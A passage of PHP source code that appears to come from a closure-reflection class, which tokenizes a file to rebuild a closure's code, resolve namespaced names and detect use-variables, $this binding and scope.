116 | $lineAdd = 0;
117 | $isUsingScope = false;
118 | $isUsingThisObject = false;
119 |
120 | for($i = 0, $l = count($tokens); $i < $l; $i++) {
121 | $token = $tokens[$i];
122 | switch ($state) {
123 | case 'start':
124 | if ($token[0] === T_FUNCTION || $token[0] === T_STATIC) {
125 | $code .= $token[1];
126 | $state = $token[0] === T_FUNCTION ? 'function' : 'static';
127 | }
128 | break;
129 | case 'static':
130 | if ($token[0] === T_WHITESPACE || $token[0] === T_COMMENT || $token[0] === T_FUNCTION) {
131 | $code .= $token[1];
132 | if ($token[0] === T_FUNCTION) {
133 | $state = 'function';
134 | }
135 | } else {
136 | $code = '';
137 | $state = 'start';
138 | }
139 | break;
140 | case 'function':
141 | switch ($token[0]){
142 | case T_STRING:
143 | $code = '';
144 | $state = 'named_function';
145 | break;
146 | case '(':
147 | $code .= '(';
148 | $state = 'closure_args';
149 | break;
150 | default:
151 | $code .= is_array($token) ? $token[1] : $token;
152 | }
153 | break;
154 | case 'named_function':
155 | if($token[0] === T_FUNCTION || $token[0] === T_STATIC){
156 | $code = $token[1];
157 | $state = $token[0] === T_FUNCTION ? 'function' : 'static';
158 | }
159 | break;
160 | case 'closure_args':
161 | switch ($token[0]){
162 | case T_NS_SEPARATOR:
163 | case T_STRING:
164 | $id_start = $token[1];
165 | $id_start_ci = strtolower($id_start);
166 | $id_name = '';
167 | $context = 'args';
168 | $state = 'id_name';
169 | $lastState = 'closure_args';
170 | break;
171 | case T_USE:
172 | $code .= $token[1];
173 | $state = 'use';
174 | break;
175 | case '=':
176 | $code .= $token;
177 | $lastState = 'closure_args';
178 | $state = 'ignore_next';
179 | break;
180 | case ':':
181 | $code .= ':';
182 | $state = 'return';
183 | break;
184 | case '{':
185 | $code .= '{';
186 | $state = 'closure';
187 | $open++;
188 | break;
189 | default:
190 | $code .= is_array($token) ? $token[1] : $token;
191 | }
192 | break;
193 | case 'use':
194 | switch ($token[0]){
195 | case T_VARIABLE:
196 | $use[] = substr($token[1], 1);
197 | $code .= $token[1];
198 | break;
199 | case '{':
200 | $code .= '{';
201 | $state = 'closure';
202 | $open++;
203 | break;
204 | case ':':
205 | $code .= ':';
206 | $state = 'return';
207 | break;
208 | default:
209 | $code .= is_array($token) ? $token[1] : $token;
210 | break;
211 | }
212 | break;
213 | case 'return':
214 | switch ($token[0]){
215 | case T_WHITESPACE:
216 | case T_COMMENT:
217 | case T_DOC_COMMENT:
218 | $code .= $token[1];
219 | break;
220 | case T_NS_SEPARATOR:
221 | case T_STRING:
222 | $id_start = $token[1];
223 | $id_start_ci = strtolower($id_start);
224 | $id_name = '';
225 | $context = 'return_type';
226 | $state = 'id_name';
227 | $lastState = 'return';
228 | break 2;
229 | case '{':
230 | $code .= '{';
231 | $state = 'closure';
232 | $open++;
233 | break;
234 | default:
235 | $code .= is_array($token) ? $token[1] : $token;
236 | break;
237 | }
238 | break;
239 | case 'closure':
240 | switch ($token[0]){
241 | case T_CURLY_OPEN:
242 | case T_DOLLAR_OPEN_CURLY_BRACES:
243 | case T_STRING_VARNAME:
244 | case '{':
245 | $code .= '{';
246 | $open++;
247 | break;
248 | case '}':
249 | $code .= '}';
250 | if(--$open === 0){
251 | break 3;
252 | } elseif ($inside_anonymous) {
253 | $inside_anonymous = !($open === $anonymous_mark);
254 | }
255 | break;
256 | case T_LINE:
257 | $code .= $token[2] - $line + $lineAdd;
258 | break;
259 | case T_FILE:
260 | $code .= $_file;
261 | break;
262 | case T_DIR:
263 | $code .= $_dir;
264 | break;
265 | case T_NS_C:
266 | $code .= $_namespace;
267 | break;
268 | case T_CLASS_C:
269 | $code .= $_class;
270 | break;
271 | case T_FUNC_C:
272 | $code .= $_function;
273 | break;
274 | case T_METHOD_C:
275 | $code .= $_method;
276 | break;
277 | case T_COMMENT:
278 | if (substr($token[1], 0, 8) === '#trackme') {
279 | $timestamp = time();
280 | $code .= '/**' . PHP_EOL;
281 | $code .= '* Date : ' . date(DATE_W3C, $timestamp) . PHP_EOL;
282 | $code .= '* Timestamp : ' . $timestamp . PHP_EOL;
283 | $code .= '* Line : ' . ($line + 1) . PHP_EOL;
284 | $code .= '* File : ' . $_file . PHP_EOL . '*/' . PHP_EOL;
285 | $lineAdd += 5;
286 | } else {
287 | $code .= $token[1];
288 | }
289 | break;
290 | case T_VARIABLE:
291 | if($token[1] == '$this' && !$inside_anonymous){
292 | $isUsingThisObject = true;
293 | }
294 | $code .= $token[1];
295 | break;
296 | case T_STATIC:
297 | $isUsingScope = true;
298 | $code .= $token[1];
299 | break;
300 | case T_NS_SEPARATOR:
301 | case T_STRING:
302 | $id_start = $token[1];
303 | $id_start_ci = strtolower($id_start);
304 | $id_name = '';
305 | $context = 'root';
306 | $state = 'id_name';
307 | $lastState = 'closure';
308 | break 2;
309 | case T_NEW:
310 | $code .= $token[1];
311 | $context = 'new';
312 | $state = 'id_start';
313 | $lastState = 'closure';
314 | break 2;
315 | case T_USE:
316 | $code .= $token[1];
317 | $context = 'use';
318 | $state = 'id_start';
319 | $lastState = 'closure';
320 | break;
321 | case T_INSTANCEOF:
322 | $code .= $token[1];
323 | $context = 'instanceof';
324 | $state = 'id_start';
325 | $lastState = 'closure';
326 | break;
327 | case T_OBJECT_OPERATOR:
328 | case T_DOUBLE_COLON:
329 | $code .= $token[1];
330 | $lastState = 'closure';
331 | $state = 'ignore_next';
332 | break;
333 | case T_FUNCTION:
334 | $code .= $token[1];
335 | $state = 'closure_args';
336 | break;
337 | case T_TRAIT_C:
338 | if ($_trait === null) {
339 | $startLine = $this->getStartLine();
340 | $endLine = $this->getEndLine();
341 | $structures = $this->getStructures();
342 |
343 | $_trait = '';
344 |
345 | foreach ($structures as &$struct) {
346 | if ($struct['type'] === 'trait' &&
347 | $struct['start'] <= $startLine &&
348 | $struct['end'] >= $endLine
349 | ) {
350 | $_trait = ($ns == '' ? '' : $ns . '\\') . $struct['name'];
351 | break;
352 | }
353 | }
354 |
355 | $_trait = var_export($_trait, true);
356 | }
357 |
358 | $code .= $_trait;
359 | break;
360 | default:
361 | $code .= is_array($token) ? $token[1] : $token;
362 | }
363 | break;
364 | case 'ignore_next':
365 | switch ($token[0]){
366 | case T_WHITESPACE:
367 | case T_COMMENT:
368 | case T_DOC_COMMENT:
369 | $code .= $token[1];
370 | break;
371 | case T_CLASS:
372 | case T_NEW:
373 | case T_STATIC:
374 | case T_VARIABLE:
375 | case T_STRING:
376 | case T_CLASS_C:
377 | case T_FILE:
378 | case T_DIR:
379 | case T_METHOD_C:
380 | case T_FUNC_C:
381 | case T_FUNCTION:
382 | case T_INSTANCEOF:
383 | case T_LINE:
384 | case T_NS_C:
385 | case T_TRAIT_C:
386 | case T_USE:
387 | $code .= $token[1];
388 | $state = $lastState;
389 | break;
390 | default:
391 | $state = $lastState;
392 | $i--;
393 | }
394 | break;
395 | case 'id_start':
396 | switch ($token[0]){
397 | case T_WHITESPACE:
398 | case T_COMMENT:
399 | case T_DOC_COMMENT:
400 | $code .= $token[1];
401 | break;
402 | case T_NS_SEPARATOR:
403 | case T_STRING:
404 | case T_STATIC:
405 | $id_start = $token[1];
406 | $id_start_ci = strtolower($id_start);
407 | $id_name = '';
408 | $state = 'id_name';
409 | break 2;
410 | case T_VARIABLE:
411 | $code .= $token[1];
412 | $state = $lastState;
413 | break;
414 | case T_CLASS:
415 | $code .= $token[1];
416 | $state = 'anonymous';
417 | break;
418 | default:
419 | $i--;//reprocess last
420 | $state = 'id_name';
421 | }
422 | break;
423 | case 'id_name':
424 | switch ($token[0]){
425 | case T_NS_SEPARATOR:
426 | case T_STRING:
427 | $id_name .= $token[1];
428 | break;
429 | case T_WHITESPACE:
430 | case T_COMMENT:
431 | case T_DOC_COMMENT:
432 | $id_name .= $token[1];
433 | break;
434 | case '(':
435 | if($context === 'new' || false !== strpos($id_name, '\\')){
436 | if($id_start !== '\\'){
437 | if ($classes === null) {
438 | $classes = $this->getClasses();
439 | }
440 | if (isset($classes[$id_start_ci])) {
441 | $id_start = $classes[$id_start_ci];
442 | }
443 | if($id_start[0] !== '\\'){
444 | $id_start = $nsf . '\\' . $id_start;
445 | }
446 | }
447 | } else {
448 | if($id_start !== '\\'){
449 | if($functions === null){
450 | $functions = $this->getFunctions();
451 | }
452 | if(isset($functions[$id_start_ci])){
453 | $id_start = $functions[$id_start_ci];
454 | }
455 | }
456 | }
457 | $code .= $id_start . $id_name . '(';
458 | $state = $lastState;
459 | break;
460 | case T_VARIABLE:
461 | case T_DOUBLE_COLON:
462 | if($id_start !== '\\') {
463 | if($id_start_ci === 'self' || $id_start_ci === 'static' || $id_start_ci === 'parent'){
464 | $isUsingScope = true;
465 | } elseif (!($php7 && in_array($id_start_ci, $php7_types))){
466 | if ($classes === null) {
467 | $classes = $this->getClasses();
468 | }
469 | if (isset($classes[$id_start_ci])) {
470 | $id_start = $classes[$id_start_ci];
471 | }
472 | if($id_start[0] !== '\\'){
473 | $id_start = $nsf . '\\' . $id_start;
474 | }
475 | }
476 | }
477 | $code .= $id_start . $id_name . $token[1];
478 | $state = $token[0] === T_DOUBLE_COLON ? 'ignore_next' : $lastState;
479 | break;
480 | default:
481 | if($id_start !== '\\'){
482 | if($context === 'use' ||
483 | $context === 'instanceof' ||
484 | $context === 'args' ||
485 | $context === 'return_type' ||
486 | $context === 'extends'
487 | ){
488 | if($id_start_ci === 'self' || $id_start_ci === 'static' || $id_start_ci === 'parent'){
489 | $isUsingScope = true;
490 | } elseif (!($php7 && in_array($id_start_ci, $php7_types))){
491 | if($classes === null){
492 | $classes = $this->getClasses();
493 | }
494 | if(isset($classes[$id_start_ci])){
495 | $id_start = $classes[$id_start_ci];
496 | }
497 | if($id_start[0] !== '\\'){
498 | $id_start = $nsf . '\\' . $id_start;
499 | }
500 | }
501 | } else {
502 | if($constants === null){
503 | $constants = $this->getConstants();
504 | }
505 | if(isset($constants[$id_start])){
506 | $id_start = $constants[$id_start];
507 | }
508 | }
509 | }
510 | $code .= $id_start . $id_name;
511 | $state = $lastState;
512 | $i--;//reprocess last token
513 | }
514 | break;
515 | case 'anonymous':
516 | switch ($token[0]) {
517 | case T_NS_SEPARATOR:
518 | case T_STRING:
519 | $id_start = $token[1];
520 | $id_start_ci = strtolower($id_start);
521 | $id_name = '';
522 | $state = 'id_name';
523 | $context = 'extends';
524 | $lastState = 'anonymous';
525 | break;
526 | case '{':
527 | $state = 'closure';
528 | if (!$inside_anonymous) {
529 | $inside_anonymous = true;
530 | $anonymous_mark = $open;
531 | }
532 | $i--;
533 | break;
534 | default:
535 | $code .= is_array($token) ? $token[1] : $token;
536 | }
537 | break;
538 | }
539 | }
540 |
541 | $this->isBindingRequired = $isUsingThisObject;
542 | $this->isScopeRequired = $isUsingScope;
543 | $this->code = $code;
544 | $this->useVariables = empty($use) ? $use : array_intersect_key($this->getStaticVariables(), array_flip($use));
545 |
546 | return $this->code;
547 | }
548 |
549 | /**
550 | * @return array
551 | */
552 | public function getUseVariables()
553 | {
554 | if($this->useVariables !== null){
555 | return $this->useVariables;
556 | }
557 |
558 | $tokens = $this->getTokens();
559 | $use = array();
560 | $state = 'start';
561 |
562 | foreach ($tokens as &$token) {
563 | $is_array = is_array($token);
564 |
565 | switch ($state) {
566 | case 'start':
567 | if ($is_array && $token[0] === T_USE) {
568 | $state = 'use';
569 | }
570 | break;
571 | case 'use':
572 | if ($is_array) {
573 | if ($token[0] === T_VARIABLE) {
574 | $use[] = substr($token[1], 1);
575 | }
576 | } elseif ($token == ')') {
577 | break 2;
578 | }
579 | break;
580 | }
581 | }
582 |
583 | $this->useVariables = empty($use) ? $use : array_intersect_key($this->getStaticVariables(), array_flip($use));
584 |
585 | return $this->useVariables;
586 | }
587 |
588 | /**
589 | * return bool
590 | */
591 | public function isBindingRequired()
592 | {
593 | if($this->isBindingRequired === null){
594 | $this->getCode();
595 | }
596 |
597 | return $this->isBindingRequired;
598 | }
599 |
600 | /**
601 | * return bool
602 | */
603 | public function isScopeRequired()
604 | {
605 | if($this->isScopeRequired === null){
606 | $this->getCode();
607 | }
608 |
609 | return $this->isScopeRequired;
610 | }
611 |
612 | /**
613 | * @return string
614 | */
615 | protected function getHashedFileName()
616 | {
617 | if ($this->hashedName === null) {
618 | $this->hashedName = sha1($this->getFileName());
619 | }
620 |
621 | return $this->hashedName;
622 | }
623 |
624 | /**
625 | * @return array
626 | */
627 | protected function getFileTokens()
628 | {
629 | $key = $this->getHashedFileName();
630 |
631 | if (!isset(static::$files[$key])) {
632 | static::$files[$key] = token_get_all(file_get_contents($this->getFileName()));
633 | }
634 |
635 | return static::$files[$key];
636 | }
637 |
638 | /**
639 | * @return array
640 | */
641 | protected function getTokens()
642 | {
643 | if ($this->tokens === null) {
644 | $tokens = $this->getFileTokens();
645 | $startLine = $this->getStartLine();
646 | $endLine = $this->getEndLine();
647 | $results = array();
648 | $start = false;
649 |
650 | foreach ($tokens as &$token) {
651 | if (!is_array($token)) {
652 | if ($start) {
653 | $results[] = $token;
654 | }
655 |
656 | continue;
657 | }
658 |
659 | $line = $token[2];
660 |
661 | if ($line <= $endLine) {
662 | if ($line >= $startLine) {
663 | $start = true;
664 | $results[] = $token;
665 | }
666 |
667 | continue;
668 | }
669 |
670 | break;
671 | }
672 |
673 | $this->tokens = $results;
674 | }
675 |
676 | return $this->tokens;
677 | }
678 |
679 | /**
680 | * @return array
681 | */
682 | protected function getClasses()
683 | {
684 | $key = $this->getHashedFileName();
685 |
686 | if (!isset(static::$classes[$key])) {
687 | $this->fetchItems();
688 | }
689 |
690 | return static::$classes[$key];
691 | }
692 |
693 | /**
694 | * @return array
695 | */
696 | protected function getFunctions()
697 | {
698 | $key = $this->getHashedFileName();
699 |
700 | if (!isset(static::$functions[$key])) {
701 | $this->fetchItems();
702 | }
703 |
704 | return static::$functions[$key];
705 | }
706 |
707 | /**
708 | * @return array
709 | */
710 | protected function getConstants()
711 | {
712 | $key = $this->getHashedFileName();
713 |
714 | if (!isset(static::$constants[$key])) {
715 | $this->fetchItems();
716 | }
717 |
718 | return static::$constants[$key];
719 | }
720 |
721 | /**
722 | * @return array
723 | */
724 | protected function getStructures()
725 | {
726 | $key = $this->getHashedFileName();
727 |
728 | if (!isset(static::$structures[$key])) {
729 | $this->fetchItems();
730 | }
731 |
732 | return static::$structures[$key];
733 | }
734 |
735 | protected function fetchItems()
736 | {
737 | $key = $this->getHashedFileName();
738 |
739 | $classes = array();
740 | $functions = array();
741 | $constants = array();
742 | $structures = array();
743 | $tokens = $this->getFileTokens();
744 |
745 | $open = 0;
746 | $state = 'start';
747 | $lastState = '';
748 | $prefix = '';
749 | $name = '';
750 | $alias = '';
751 | $isFunc = $isConst = false;
752 |
753 | $startLine = $endLine = 0;
754 | $structType = $structName = '';
755 | $structIgnore = false;
756 |
757 | foreach ($tokens as $token) {
758 |
759 | switch ($state) {
760 | case 'start':
761 | switch ($token[0]) {
762 | case T_CLASS:
763 | case T_INTERFACE:
764 | case T_TRAIT:
765 | $state = 'before_structure';
766 | $startLine = $token[2];
767 | $structType = $token[0] == T_CLASS
768 | ? 'class'
769 | : ($token[0] == T_INTERFACE ? 'interface' : 'trait');
770 | break;
771 | case T_USE:
772 | $state = 'use';
773 | $prefix = $name = $alias = '';
774 | $isFunc = $isConst = false;
775 | break;
776 | case T_FUNCTION:
777 | $state = 'structure';
778 | $structIgnore = true;
779 | break;
780 | case T_NEW:
781 | $state = 'new';
782 | break;
783 | case T_OBJECT_OPERATOR:
784 | case T_DOUBLE_COLON:
785 | $state = 'invoke';
786 | break;
787 | }
788 | break;
789 | case 'use':
790 | switch ($token[0]) {
791 | case T_FUNCTION:
792 | $isFunc = true;
793 | break;
794 | case T_CONST:
795 | $isConst = true;
796 | break;
797 | case T_NS_SEPARATOR:
798 | $name .= $token[1];
799 | break;
800 | case T_STRING:
801 | $name .= $token[1];
802 | $alias = $token[1];
803 | break;
804 | case T_AS:
805 | $lastState = 'use';
806 | $state = 'alias';
807 | break;
808 | case '{':
809 | $prefix = $name;
810 | $name = $alias = '';
811 | $state = 'use-group';
812 | break;
813 | case ',':
814 | case ';':
815 | if ($name === '' || $name[0] !== '\\') {
816 | $name = '\\' . $name;
817 | }
818 |
819 | if ($alias !== '') {
820 | if ($isFunc) {
821 | $functions[strtolower($alias)] = $name;
822 | } elseif ($isConst) {
823 | $constants[$alias] = $name;
824 | } else {
825 | $classes[strtolower($alias)] = $name;
826 | }
827 | }
828 | $name = $alias = '';
829 | $state = $token === ';' ? 'start' : 'use';
830 | break;
831 | }
832 | break;
833 | case 'use-group':
834 | switch ($token[0]) {
835 | case T_NS_SEPARATOR:
836 | $name .= $token[1];
837 | break;
838 | case T_STRING:
839 | $name .= $token[1];
840 | $alias = $token[1];
841 | break;
842 | case T_AS:
843 | $lastState = 'use-group';
844 | $state = 'alias';
845 | break;
846 | case ',':
847 | case '}':
848 |
849 | if ($prefix === '' || $prefix[0] !== '\\') {
850 | $prefix = '\\' . $prefix;
851 | }
852 |
853 | if ($alias !== '') {
854 | if ($isFunc) {
855 | $functions[strtolower($alias)] = $prefix . $name;
856 | } elseif ($isConst) {
857 | $constants[$alias] = $prefix . $name;
858 | } else {
859 | $classes[strtolower($alias)] = $prefix . $name;
860 | }
861 | }
862 | $name = $alias = '';
863 | $state = $token === '}' ? 'use' : 'use-group';
864 | break;
865 | }
866 | break;
867 | case 'alias':
868 | if ($token[0] === T_STRING) {
869 | $alias = $token[1];
870 | $state = $lastState;
871 | }
872 | break;
873 | case 'new':
874 | switch ($token[0]) {
875 | case T_WHITESPACE:
876 | case T_COMMENT:
877 | case T_DOC_COMMENT:
878 | break 2;
879 | case T_CLASS:
880 | $state = 'structure';
881 | $structIgnore = true;
882 | break;
883 | default:
884 | $state = 'start';
885 | }
886 | break;
887 | case 'invoke':
888 | switch ($token[0]) {
889 | case T_WHITESPACE:
890 | case T_COMMENT:
891 | case T_DOC_COMMENT:
892 | break 2;
893 | default:
894 | $state = 'start';
895 | }
896 | break;
897 | case 'before_structure':
898 | if ($token[0] == T_STRING) {
899 | $structName = $token[1];
900 | $state = 'structure';
901 | }
902 | break;
903 | case 'structure':
904 | switch ($token[0]) {
905 | case '{':
906 | case T_CURLY_OPEN:
907 | case T_DOLLAR_OPEN_CURLY_BRACES:
908 | case T_STRING_VARNAME:
909 | $open++;
910 | break;
911 | case '}':
912 | if (--$open == 0) {
913 | if(!$structIgnore){
914 | $structures[] = array(
915 | 'type' => $structType,
916 | 'name' => $structName,
917 | 'start' => $startLine,
918 | 'end' => $endLine,
919 | );
920 | }
921 | $structIgnore = false;
922 | $state = 'start';
923 | }
924 | break;
925 | default:
926 | if (is_array($token)) {
927 | $endLine = $token[2];
928 | }
929 | }
930 | break;
931 | }
932 | }
933 |
934 | static::$classes[$key] = $classes;
935 | static::$functions[$key] = $functions;
936 | static::$constants[$key] = $constants;
937 | static::$structures[$key] = $structures;
938 | }
939 | }
940 |
--------------------------------------------------------------------------------